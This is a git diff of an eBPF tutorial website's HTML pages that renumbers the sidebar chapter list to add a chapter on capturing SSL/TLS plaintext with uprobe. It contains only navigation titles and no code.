使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial @@ -177,7 +177,7 @@ - + @@ -191,7 +191,7 @@ - + diff --git a/24-hide/index.html b/24-hide/index.html index c70e384..08ce921 100644 --- a/24-hide/index.html +++ b/24-hide/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/25-signal/index.html b/25-signal/index.html index 47f12e3..60feb76 100644 --- a/25-signal/index.html +++ b/25-signal/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/26-sudo/index.html b/26-sudo/index.html index 573dcf3..e9b7ec3 100644 --- a/26-sudo/index.html +++ b/26-sudo/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/27-replace/index.html b/27-replace/index.html index 6776f85..130e4d0 100644 --- a/27-replace/index.html +++ b/27-replace/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/28-detach/index.html b/28-detach/index.html index 6c08ccd..7e74cc2 100644 --- a/28-detach/index.html +++ b/28-detach/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/29-sockops/index.html b/29-sockops/index.html index 35cb845..3dd12ff 100644 --- a/29-sockops/index.html +++ b/29-sockops/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial @@ -218,7 +218,7 @@ iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --& - + @@ -232,7 +232,7 @@ iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --& - + diff --git a/3-fentry-unlink/index.html b/3-fentry-unlink/index.html index 8113e29..0c99000 100644 --- a/3-fentry-unlink/index.html +++ b/3-fentry-unlink/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/30-sslsniff/index.html b/30-sslsniff/index.html index c2c1fe4..c855166 100644 --- a/30-sslsniff/index.html +++ b/30-sslsniff/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 